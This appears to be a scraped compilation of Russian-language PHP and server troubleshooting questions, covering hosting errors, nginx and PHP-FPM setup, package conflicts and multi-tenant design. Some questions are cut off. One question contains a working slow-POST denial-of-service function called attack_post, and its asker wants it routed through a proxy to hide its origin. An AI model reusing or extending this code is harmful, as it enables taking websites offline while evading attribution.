PHP скрипт не загружает файлы на сервер?

PHP 7.1 соответствует требованиям скрипта. Скрипт отлично работает на локальном сервере. При загрузке на хостинг и открытии страницы HTTP ERROR 500. А в логах что файлы не могут загрузиться failed to open stream: HTTP request failed! HTTP/1.1 403 Forbidden.
Лог
FastCGI: server "/usr/lib/cgi-bin/php71-fcgi" stderr: PHP message: PHP Warning: copy(https://phar.madelineproto.xyz/madeline.php): failed to open stream: HTTP request failed! HTTP/1.1 403 Forbidden
FastCGI: server "/usr/lib/cgi-bin/php71-fcgi" stderr: in /home/site.ru/sendToTelegram/index.php on line 4
FastCGI: server "/usr/lib/cgi-bin/php71-fcgi" stderr: PHP message: PHP Warning: include(madeline.php): failed to open stream: No such file or directory in /home/site.ru/sendToTelegram/index.php on line 6
FastCGI: server "/usr/lib/cgi-bin/php71-fcgi" stderr: PHP message: PHP Warning: include(): Failed opening 'madeline.php' for inclusion (include_path='.:/opt/php71f/share/pear:/opt/php71f/share/php:/usr/share/pear:/usr/share/php') in /home/srv109579/bahtiiar.com/sendToTelegram/index.php on line 6
FastCGI: server "/usr/lib/cgi-bin/php71-fcgi" stderr: PHP message: PHP Fatal error: Uncaught Error: Class 'danog\\MadelineProto\\API' not found in /home/srv109579/bahtiiar.com/sendToTelegram/index.php:8
FastCGI: server "/usr/lib/cgi-bin/php71-fcgi" stderr: Stack trace:
FastCGI: server "/usr/lib/cgi-bin/php71-fcgi" stderr: #0 {main}
FastCGI: server "/usr/lib/cgi-bin/php71-fcgi" stderr: thrown in /home/srv109579/bahtiiar.com/sendToTelegram/index.php on line 8

Как сделать multi-tenant приложение из обычного PHP приложения? Есть ли готовые фреймворки для такой задачи?

Вроде бы задача должна быть довольно частая, но пока не получается сформулировать вопрос, который помог бы найти ответ в гугле.
Есть веб-приложение, которое спроектировано без поддержки множественных аккаунтов. И нужно сделать возможность пользователям при регистрации на сайте получать функционал этого приложения, но независимо от других пользователей.
Напрашивается решение сделать для каждого пользователя свою «копию» этого веб-приложения. Вроде бы, достаточно для этого сделать свою БД для каждого пользователя. Таким образом, при регистрации пользователя создаём ему свою базу данных (и, возможно, свою директорию с конфигурационными файлами). Заходя на сайт, пользователь перенаправляется на это веб-приложение так, чтобы оно работало с БД и конфигами этого пользователя (возможно, потребуется немного дописать веб-приложение, чтобы оно брало базу, исходя из регистрационных данных пользователя, — это допустимо).
Тут два вопроса:
1) Нормальное ли это решение, или есть решение лучше?
2) Вроде бы проблема типовая. Есть ли какие-то готовые системы или библиотеки, в которых уже есть эти функции? (Я имею в виду, процесс создания/удаления БД со структурой и файлов, соединённый с user management. Кажется, это что-то похоже на хостинг.)

Как исправить ошибки php: «client denied by server configuration»?

Здравствуйте. У меня есть сайт на Вордпресс на обычном хостинге, к настройкам сервера доступа не имею, то есть там все стандартно. В журнале запросов через день всплывает следующее: [authz_core:error] [pid 3880] [client 5.135.143.224:56824] AH01630: client denied by server configuration: /var/www/site.com/xmlrpc.php. Таких ошибок немного, по 20 с одного двух адресов, в чем может быть проблема?

В файле .htaccess (того что в корне сайта) только правила плагина All In one WP Security и настройки ЧПУ

RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ — [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule. /index.php [L]

PHP 5 и PHP 7 после обновления UBUNTU до 16.04?

Добрый день. Обновил Убунту до 16.04. Теперь что-то не пойму: появился в добавок к php5.6 — php7 и если я ставлю какое-нибудь расширение, то в директории /etc/php5/mods-available ini не появляется, php -m не показывает этого модуля (например php-gd), но, зато он появляется в /etc/php/7.0/mods-available.
which php = /usr/bin/php ls -la /etc/alternatives/php = /etc/alternatives/php -> /usr/bin/php5
update-alternatives --display php php — auto mode link best version is /usr/bin/php5 link currently points to /usr/bin/php5 link php is /usr/bin/php slave php.1.gz is /usr/share/man/man1/php.1.gz /usr/bin/php5 — priority 50 slave php.1.gz: /usr/share/man/man1/php5.1.gz
dpkg -l | grep php-gd ii php-gd 1:7.0+35ubuntu6 all GD module for PHP [default]

И, когда ставишь какое-нибудь расширение, видно, что включается оно только для php7:

apt install php-sqlite3 Reading package lists… Done Building dependency tree Reading state information… Done The following additional packages will be installed: php7.0-sqlite3 The following NEW packages will be installed: php-sqlite3 php7.0-sqlite3 0 upgraded, 2 newly installed, 0 to remove and 12 not upgraded. Need to get 26,5 kB of archives. After this operation, 122 kB of additional disk space will be used. Do you want to continue? [Y/n] y Get:1 ru.archive.ubuntu.com/ubuntu xenial/main amd64 php7.0-sqlite3 amd64 7.0.4-7ubuntu2 [24,6 kB] Get:2 ru.archive.ubuntu.com/ubuntu xenial/main amd64 php-sqlite3 all 1:7.0+35ubuntu6 [1 936 B] Fetched 26,5 kB in 0s (211 kB/s) Selecting previously unselected package php7.0-sqlite3. (Reading database… 349225 files and directories currently installed.) Preparing to unpack .../php7.0-sqlite3_7.0.4-7ubuntu2_amd64.deb… Unpacking php7.0-sqlite3 (7.0.4-7ubuntu2)… Selecting previously unselected package php-sqlite3. Preparing to unpack .../php-sqlite3_1%3a7.0+35ubuntu6_all.deb… Unpacking php-sqlite3 (1:7.0+35ubuntu6)… Setting up php7.0-sqlite3 (7.0.4-7ubuntu2)… Creating config file /etc/php/7.0/mods-available/sqlite3.ini with new version Creating config file /etc/php/7.0/mods-available/pdo_sqlite.ini with new version Setting up php-sqlite3 (1:7.0+35ubuntu6)…

php5enmod sqlite3 WARNING: Module sqlite3 ini file doesn't exist under /etc/php5/mods-available WARNING: Module sqlite3 ini file doesn't exist under /etc/php5/mods-available

Соответственно, php -m не выводит инфу о модуле sqlite3. Но, если я через mod-apache вывожу в браузере результат функции phpinfo() — там sqlite3 подгружен.

Что у меня не так?

Не работает PHP7 на Debian 8?

Особо не пинайте, я настраиваю свой первый сервер.
Попробую расписать всю информацию, которую делал, если чего недостаточно, пишите. Я могу даже оплатить вашу помощь.
Пробую ставить nginx 1.9.10 + PHP/7.0.2.

Как я ставил nginx
# Obtain the latest source for NGINX from nginx.org/en/download.html wget nginx.org/download/nginx-1.9.10.tar.gz tar -xzvf nginx-1.9.10.tar.gz # Obtain the development sources for nginScript hg clone hg.nginx.org/njs # Build and install NGINX cd nginx-1.9.10 ./configure --sbin-path=/usr/sbin/nginx --prefix=/etc/nginx --conf-path=/etc/nginx/nginx.conf --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --user=nginx --group=nginx --with-ipv6 --with-pcre-jit --with-http_gzip_static_module --with-http_ssl_module --with-http_v2_module --add-module=../njs/nginx --with-http_auth_request_module --with-mail --with-mail_ssl_module --with-file-aio --with-openssl=../openssl-1.0.1r
все хорошо поставилось, еще пару манипуляций с init.d и все заработало. Запускаю службу nginx'а, ура!, отображается html-файл.
Пробую подтянуть пхп. Тут начинаются проблемы. Делаю все в точности, как в мануале codebeer.ru/ustanovka-php-7-v-debian-8/, кроме того, как указываю listen = 127.0.0.1:7777. Подключаю в конфиг nginx обработку php файлов, так:
#user nobody; worker_processes 1; #error_log logs/error.log; #error_log logs/error.log notice; #error_log logs/error.log info; #pid logs/nginx.pid; events { worker_connections 1024; } http { include mime.types; default_type application/octet-stream; #log_format main '$remote_addr — $remote_user [$time_local] "$request" ' # '$status $body_bytes_sent "$http_referer" ' # '"$http_user_agent" "$http_x_forwarded_for"'; #access_log logs/access.log main; sendfile on; #tcp_nopush on; #keepalive_timeout 0; keepalive_timeout 65; #gzip on; server { server_name 46.36.220.150; charset off; disable_symlinks if_not_owner from=$root_path; index index.html index.php; root $root_path; set $root_path /var/www/forum; access_log /var/www/access.log; error_log /var/www/error.log notice; listen *:80; listen *:81; location / { location ~ [^/]\.ph(p\d*|tml)$ { try_files /does_not_exists @php; } } location @php { fastcgi_index index.php; fastcgi_param PHP_ADMIN_VALUE «sendmail_path = /usr/sbin/sendmail -t -i -f webmaster@adpay.click»; fastcgi_pass 127.0.0.1:7777; fastcgi_split_path_info ^((?U).+\.ph(?:p\d*|tml))(/?.+)$; try_files $uri =404; include fastcgi_params; } } # another virtual host using mix of IP-, name-, and port-based configuration # #server { # listen 8000; # listen somename:8080; # server_name somename alias another.alias; # location / { # root html; # index index.html index.htm; # } #} # HTTPS server # #server { # listen 443 ssl; # server_name localhost; # ssl_certificate cert.pem; # ssl_certificate_key cert.key; # ssl_session_cache shared:SSL:1m; # ssl_session_timeout 5m; # ssl_ciphers HIGH:!aNULL:!MD5; # ssl_prefer_server_ciphers on; # location / { # root html; # index index.html index.htm; # } #} }
Файлы логов создал и дал им права 777. Создаю файл index.php, пишу в него любимую команду

Как реализовать рекурсивный запуск PHP на хостинге?

Имеется хостинг на котором max_execution_time = 30, exec и system отключены. Нужно спарсить где-то 200-300 страниц, при этом скрипт должен вызывается по крону через определенное время. Решил сделать через рекурсию, что-то вроде $var1 = $_GET[«var1»];… curl_setopt($ch, CURLOPT_URL,«domain.com/myphp.php?var1=»....); curl_exec($ch);
Но проблема в том, что все отработавшие скрипты остаются «висеть», ожидая ответа, что сильно тормозит весь процесс, да и больше 5 скриптов не дает… Как настроить курлы, чтобы они не ждали ответа? Или может быть есть какие-то более практичные альтернативы?

Почему не ставится yum install php-pecl-geoip?

yum install php-pecl-geoip выдает ошибки.

yum install php-pecl-geoip Loaded plugins: fastestmirror Setting up Install Process Loading mirror speeds from cached hostfile * base: mirror0.babylon.network * epel: mirror0.babylon.network * extras: mirror0.babylon.network * updates: mirror0.babylon.network Resolving Dependencies --> Running transaction check ---> Package php-pecl-geoip.x86_64 0:1.0.8-3.el6 will be installed --> Processing Dependency: php(zend-abi) = 20090626 for package: php-pecl-geoip-1.0.8-3.el6.x86_64 --> Processing Dependency: php(api) = 20090626 for package: php-pecl-geoip-1.0.8-3.el6.x86_64 --> Finished Dependency Resolution Error: Package: php-pecl-geoip-1.0.8-3.el6.x86_64 (epel) Requires: php(api) = 20090626 Installed: php-common-5.4.42-1.el6.remi.x86_64 (@remi) php(api) = 20100412-x86-64 Available: php-common-5.3.3-38.el6.x86_64 (base) php(api) = 20090626 Available: php-common-5.3.3-40.el6_6.x86_64 (updates) php(api) = 20090626 Error: Package: php-pecl-geoip-1.0.8-3.el6.x86_64 (epel) Requires: php(zend-abi) = 20090626 Installed: php-common-5.4.42-1.el6.remi.x86_64 (@remi) php(zend-abi) = 20100525-x86-64 Available: php-common-5.3.3-38.el6.x86_64 (base) php(zend-abi) = 20090626 Available: php-common-5.3.3-40.el6_6.x86_64 (updates) php(zend-abi) = 20090626 You could try using --skip-broken to work around the problem You could try running: rpm -Va --nofiles --nodigest

Как в php все совершенно интернет-подключения проводить через прокси без установки программ?

Как в php интернет-подключение проводить через прокси без установки программ (например, cURL надо устанавливать — не подходит)?

Как вот этот код переделать под прокси?
function attack_post($server, $host){ $request = «POST /».md5(rand())." HTTP/1.1\r\n"; $request .= «Host: $host\r\n»; $request .= «User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n»; $request .= «Keep-Alive: 900\r\n»; $request .= «Content-Length: 1000000000\r\n»; $request .= «Content-Type: application/x-www-form-urlencoded\r\n»; $request .= «Accept: *.*\r\n»; $sockfd = @fsockopen($server, 80, $errno, $errstr); @fwrite($sockfd, $request); while (true){ if (@fwrite($sockfd, ".") !== FALSE){ echo "."; sleep(1); }else{ echo "\nOne post attack failed to sent...\n"; $sockfd = @fsockopen($server, 80, $errno, $errstr); @fwrite($sockfd, $request); } } }

Как совместить PHP-библиотеку и Rails-приложение?

Всем доброго времени суток.
Дано приложение на Ruby on Rails. Замечательно написанное(с моей точки зрения), прекрасно работает и т.д. В качестве веб-сервера apache + mod__rails от passenger.
Также, имеется сторонняя библиотека, написанная на PHP, которая отлично выполняет то что нужно, в конкретном случае сбор, систематизация и выгрузка данных. Если это имеет значение — это некий новостной агрегатор, которой считает количество упоминаний(город, ФИО человека, название предприятия и т.д.) по разным источникам, и на этой основе выводит какие-то коэфиценты. Заказчику они понятны, я в них не вдавался.

Rails-приложение имеет админку, свои настройки и т.д. и также требует данные из PHP-либы для своей работы. В текущем варианте PHP-либа собирает нужную информацию, затем она чем-то там оборачивается и высылает результат своей работы на мыло(есть некий длинный служебный email под все это дело). Rails-приложение раз в N минут проверяет почту и, если там есть письмо от PHP-либы, она обрабатывает эту информацию(проверка на целостность и корректность, не более) и заносит ее к себе в БД.

Как мы все видим, это костыль. Самое правильное здесь решение — взять эту самую PHP-либу и переписать бы ее под Rails, но по срокам я в dead line тогда точно не впишусь(вариант сдвинуть dead line пока не рассматриваем).

Задачу, которую я пытаюсь решить — ускорить работу приложения, т.к. данных у владельца этого решения стало больше и вся описанная выше мною структура начинает уже изрядно тормозить.

Самый логичный вывод — убрать из этой цепочки email, совместив обе части приложения на одном веб-сервере. Вот собственно тут у меня и возникают все проблемы, поскольку я вообще не представляю как это можно сделать. Гугл/Яндекс по этому запросу молчат, либо я туда что-то не то пишу.

Собственно подскажите в какую сторону вообще копать? Есть ли какие-то мануалы на эту тему или хотя бы скиньте ключевые слова для гугла, ибо я сейчас в тупике.

Как исправить Uncaught Exception?

Здравствуйте! Иногда на сайте появляется такая ошибка. Как исправить?

PHP Startup: Unable to load dynamic library '/usr/local/lib/php/extensions/no-debug-non-zts-20100525/apc.so' — /usr/local/lib/php/extensions/no-debug-non-zts-20100525/apc.so: cannot open shared object file: No such file or directory

Origin

on line 0

Trace

#0 [internal function]: System\Error::shutdown()
#1 {main}